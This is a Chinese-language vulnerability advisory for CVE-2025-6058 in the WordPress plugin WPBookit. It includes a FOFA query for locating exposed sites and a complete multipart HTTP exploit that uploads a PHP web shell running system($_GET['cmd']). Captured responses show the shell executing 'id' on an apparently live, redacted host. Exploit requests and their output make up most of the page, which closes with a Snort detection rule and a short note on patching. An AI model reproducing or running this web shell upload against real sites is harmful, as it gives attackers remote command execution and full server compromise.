

WordPress-CVE-2025-6058-文件上传致远程命令执行

WordPress-CVE-2025-6058-文件上传致远程命令执行，攻击者可执行任意命令导致服务器被控。

影响版本

WPBookit <= 1.0.4

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="/wp-content/plugins/wpbookit/"

POC/EXP：

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gw

-----WebKitFormBoundary7MA4YWxkTrZu0gw
Content-Disposition: form-data; name="action"

wpb_ajax_post
-----WebKitFormBoundary7MA4YWxkTrZu0gw
Content-Disposition: form-data; name="route_name"

add_booking_type
-----WebKitFormBoundary7MA4YWxkTrZu0gw
Content-Disposition: form-data; name="title"

12345678
-----WebKitFormBoundary7MA4YWxkTrZu0gw
Content-Disposition: form-data; name="booking_type"
```

12345678

-----WebKitFormBoundary7MA4YwxkTrZu0gw

Content-Disposition: form-data; name="cover_image_img"; filename="132123.php"

Content-Type: application/octet-stream

<?php

if(isset(\$_GET['cmd'])){\

header('Content-Type: text/plain');

system(\$_GET['cmd']);

}

?>

-----WebKitFormBoundary7MA4YwxkTrZu0gw--

quest

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: [redacted]

Content-Type: multipart/form-data; boundary=-----WebKitFormBoundary7MA4YwxkTrZu0gw

-----WebKitFormBoundary7MA4YwxkTrZu0gw

Content-Disposition: form-data; name="action"

wpb_ajax_post

-----WebKitFormBoundary7MA4YwxkTrZu0gw

Content-Disposition: form-data; name="route_name"

add_booking_type

-----WebKitFormBoundary7MA4YwxkTrZu0gw

Content-Disposition: form-data; name="title"

12345678

-----WebKitFormBoundary7MA4YwxkTrZu0gw

Content-Disposition: form-data; name="booking_type"

12345678

-----WebKitFormBoundary7MA4YwxkTrZu0gw

Content-Disposition: form-data; name="cover_image_img"; filename="132123.php"

Content-Type: application/octet-stream

<?php

if(isset(\$_GET['cmd'])){\

header('Content-Type: text/plain');

system(\$_GET['cmd']);

}

?>

-----WebKitFormBoundary7MA4YwxkTrZu0gw--

https 76bytes / 547ms

1 HTTP/1.1 200 OK

2 Date: Wed, 23 Jul 2025 08:47:38 GMT

3 Content-Type: application/json; charset=UTF-8

4 X-Powered-By: PHP/8.2

5 X-Robots-Tag: noindex

6 X-Content-Type-Options: nosniff

7 Referer-Policy: strict-origin-when-cross-origin

8 X-Frame-Options: SAMEORIGIN

9 Expires: Wed, 11 Jan 1984 05:00:00 GMT

10 Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private, no-post-check=0, pre-check=0

11 Pragma: no-cache

12 Age: 0

13 X-CDN-Cache: MISS

14 X-CDN-Request-ID: 766265048

15 X-CDN-Pop: sbg

16 Accept-Ranges: bytes

17 Connection: keep-alive

18 Content-Length: 76

19

20 {"success":false,"data":{"status":"error","message":"Fail To Upload Media"}}

quest

GET /wp-content/uploads/2025/07/132123.php?cmd=id HTTP/1.1

Host: [redacted]

https 54bytes / 245ms

1 HTTP/1.1 200 OK

2 Date: Wed, 23 Jul 2025 08:47:44 GMT

3 Content-Type: text/plain; charset=UTF-8

4 X-Powered-By: PHP/8.2

5 Pragma: no-cache

6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

7 Age: 0

8 X-CDN-Cache: MISS

9 X-CDN-Request-ID: 806230180

10 X-CDN-Pop: sbg

11 Accept-Ranges: bytes

12 Connection: keep-alive

13 Content-Length: 54

14

15 uid=100392(entropiz):gid=100(users):groups=100(users)

16

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"WordPress - Malicious PHP Upload via admin-ajax.php (CVE-2025-6058)";  
  flow:to_server,established;  
  content:"POST"; http_method;  
  content:"/wp-admin/admin-ajax.php"; http_uri;  
  content:"name=\"cover_image_img\""; http_client_body;  
  content:"filename="; http_client_body;  
  pcre:"/filename=[\"'](?:[^\"]|'')*\.\php[\"']/i";  
  pcre:"/<?php(?:\s)*system(?:\s)*\?>/i";  
  metadata:cve CVE-2025-6058;  
  metadata:affected_product "WordPress";  
  metadata:vulnerability_type "webshell upload";  
  classtype:web-application-attack;  
  sid:1000374;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。